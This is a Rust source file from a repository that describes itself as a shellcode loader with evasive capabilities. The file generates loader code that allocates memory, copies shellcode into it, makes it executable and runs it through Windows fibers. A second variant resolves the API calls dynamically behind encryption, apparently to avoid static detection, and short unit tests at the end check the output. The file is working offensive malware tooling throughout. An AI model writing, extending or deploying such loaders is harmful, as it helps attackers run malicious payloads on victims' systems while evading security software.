myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

create_fiber.rs (7322B)

      1 pub fn fiber_import() -> String {
      2     r#"
      3 use std::ptr;
      4 "#
      5     .to_string()
      6 }
      7 
      8 pub fn fiber_const() -> String {
      9     format!(
     10         r#"
     11 {}
     12 
     13 #[link(name = "kernel32")]
     14 extern "system" {{
     15     fn ConvertThreadToFiber(parameter: *const std::ffi::c_void) -> *mut std::ffi::c_void;
     16 
     17     fn CreateFiber(
     18         stack_size: usize,
     19         start_address: *const std::ffi::c_void,
     20         parameter: *const std::ffi::c_void,
     21     ) -> *mut std::ffi::c_void;
     22 
     23     fn SwitchToFiber(fiber: *const std::ffi::c_void);
     24 }}
     25 
     26 #[link(name = "ntdll")]
     27 extern "system" {{
     28     fn RtlCopyMemory(
     29         destination: *mut std::ffi::c_void,
     30         source: *const std::ffi::c_void,
     31         length: usize,
     32     );
     33 }}
     34 "#,
     35         super::common::COMMON_MEMORY_CONSTANTS
     36     )
     37 }
     38 
     39 pub fn fiber_init() -> String {
     40     String::new()
     41 }
     42 
     43 pub fn fiber_process() -> String {
     44     r#"
     45     unsafe {
     46         let fiber_addr = ConvertThreadToFiber(ptr::null());
     47         if fiber_addr.is_null() {
     48             panic!("failed");
     49         }
     50 
     51         let addr = VirtualAlloc(
     52             ptr::null_mut(),
     53             shellcode.len(),
     54             MEM_COMMIT | MEM_RESERVE,
     55             PAGE_READWRITE,
     56         );
     57 
     58         if addr.is_null() {
     59             panic!("failed");
     60         }
     61 
     62         RtlCopyMemory(
     63             addr,
     64             shellcode.as_ptr() as *const std::ffi::c_void,
     65             shellcode.len(),
     66         );
     67 
     68         let mut old_protect: u32 = PAGE_READWRITE;
     69         let result = VirtualProtect(addr as *mut std::ffi::c_void, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
     70 
     71         if result == 0 {
     72             panic!("failed");
     73         }
     74 
     75         let fiber = CreateFiber(0, addr, ptr::null());
     76         if fiber.is_null() {
     77             panic!("failed");
     78         }
     79 
     80         SwitchToFiber(fiber);
     81     }
     82 "#
     83     .to_string()
     84 }
     85 
     86 fn generate_create_fiber_template(function_name: &str) -> String {
     87     super::common::TechniqueTemplateBuilder::new()
     88         .with_import(fiber_import())
     89         .with_const(fiber_const())
     90         .with_init(fiber_init())
     91         .with_process(fiber_process())
     92         .build(function_name)
     93 }
     94 
     95 pub fn generate_create_fiber_code(function_name: &str) -> String {
     96     generate_create_fiber_template(function_name)
     97 }
     98 
     99 fn fiber_process_with_dynamic_resolver(
    100     encryptor: &dyn crate::encryption::Encryptor,
    101 ) -> Result<String, String> {
    102     use super::dynamic_common::*;
    103 
    104     // Generate resolvers for each function using common helpers with encryption
    105     let convert_thread = convert_thread_to_fiber_resolver(encryptor)?;
    106     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
    107     let virtual_protect = virtual_protect_resolver(encryptor)?;
    108     let create_fiber = create_fiber_resolver(encryptor)?;
    109     let switch_to_fiber = switch_to_fiber_resolver(encryptor)?;
    110     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
    111 
    112     Ok(format!(
    113         r#"
    114     unsafe {{
    115         {convert_thread_resolver}
    116         {convert_thread_cast}
    117 
    118         let fiber_addr = convert_thread_to_fiber(ptr::null());
    119         if fiber_addr.is_null() {{
    120             panic!("failed");
    121         }}
    122 
    123         {virtual_alloc_resolver}
    124         {virtual_alloc_cast}
    125 
    126         let addr = virtual_alloc(
    127             ptr::null(),
    128             shellcode.len(),
    129             MEM_COMMIT | MEM_RESERVE,
    130             PAGE_READWRITE,
    131         );
    132 
    133         if addr.is_null() {{
    134             panic!("failed");
    135         }}
    136 
    137         {rtl_copy_memory_resolver}
    138         {rtl_copy_memory_cast}
    139 
    140         rtl_copy_memory(
    141             addr,
    142             shellcode.as_ptr() as *const std::ffi::c_void,
    143             shellcode.len(),
    144         );
    145 
    146         {virtual_protect_resolver}
    147         {virtual_protect_cast}
    148 
    149         let mut old_protect: u32 = PAGE_READWRITE;
    150         let result = virtual_protect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
    151 
    152         if result == 0 {{
    153             panic!("failed");
    154         }}
    155 
    156         {create_fiber_resolver}
    157         {create_fiber_cast}
    158 
    159         let fiber = create_fiber(0, addr, ptr::null());
    160         if fiber.is_null() {{
    161             panic!("failed");
    162         }}
    163 
    164         {switch_to_fiber_resolver}
    165         {switch_to_fiber_cast}
    166 
    167         switch_to_fiber(fiber);
    168     }}
    169 "#,
    170         convert_thread_resolver = convert_thread.resolver_code,
    171         convert_thread_cast = convert_thread.cast_code,
    172         virtual_alloc_resolver = virtual_alloc.resolver_code,
    173         virtual_alloc_cast = virtual_alloc.cast_code,
    174         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
    175         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
    176         virtual_protect_resolver = virtual_protect.resolver_code,
    177         virtual_protect_cast = virtual_protect.cast_code,
    178         create_fiber_resolver = create_fiber.resolver_code,
    179         create_fiber_cast = create_fiber.cast_code,
    180         switch_to_fiber_resolver = switch_to_fiber.resolver_code,
    181         switch_to_fiber_cast = switch_to_fiber.cast_code,
    182     ))
    183 }
    184 
    185 fn generate_create_fiber_template_with_dynamic_resolver(
    186     function_name: &str,
    187     _encryption_type: &str,
    188     encryptor: &dyn crate::encryption::Encryptor,
    189 ) -> Result<String, String> {
    190     let process_code = fiber_process_with_dynamic_resolver(encryptor)?;
    191 
    192     Ok(super::common::TechniqueTemplateBuilder::new()
    193         .with_import(fiber_import())
    194         .with_const(fiber_const())
    195         .with_init(fiber_init())
    196         .with_process(process_code)
    197         .build(function_name))
    198 }
    199 
    200 pub fn generate_create_fiber_code_with_dynamic_resolver(
    201     function_name: &str,
    202     encryption_type: &str,
    203     encryptor: &dyn crate::encryption::Encryptor,
    204 ) -> String {
    205     generate_create_fiber_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
    206         .unwrap_or_else(|err| {
    207             panic!(
    208                 "Failed to generate CreateFiber code with dynamic resolver (encryption: {}): {}",
    209                 encryption_type, err
    210             )
    211         })
    212 }
    213 
    214 pub struct CreateFiberGenerator;
    215 
    216 impl super::trait_generator::TechniqueGenerator for CreateFiberGenerator {
    217     fn generate_code(&self, _process: &str, function_name: &str) -> String {
    218         generate_create_fiber_code(function_name)
    219     }
    220 
    221     fn generate_code_with_dynamic_resolver(
    222         &self,
    223         _process: &str,
    224         function_name: &str,
    225         encryption_type: &str,
    226         encryptor: &dyn crate::encryption::Encryptor,
    227     ) -> String {
    228         generate_create_fiber_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
    229     }
    230 
    231     fn requires_process(&self) -> bool {
    232         false
    233     }
    234 
    235     fn name(&self) -> &'static str {
    236         "CreateFiber"
    237     }
    238 }
    239 
    240 #[cfg(test)]
    241 mod tests {
    242     use super::*;
    243 
    244     #[test]
    245     fn test_generate_create_fiber_template_contains_all_parts() {
    246         let template = generate_create_fiber_template("MyFunction");
    247         assert!(template.contains("use std::ptr"));
    248         assert!(template.contains("MEM_COMMIT"));
    249         assert!(template.contains("ConvertThreadToFiber"));
    250         assert!(template.contains("fn MyFunction"));
    251         assert!(template.contains("VirtualAlloc"));
    252     }
    253 
    254     #[test]
    255     fn test_generate_create_fiber_code() {
    256         let code = generate_create_fiber_code("MyRandomFunc");
    257         assert!(code.contains("fn MyRandomFunc"));
    258         assert!(code.contains("ConvertThreadToFiber"));
    259         assert!(code.contains("CreateFiber"));
    260     }
    261 }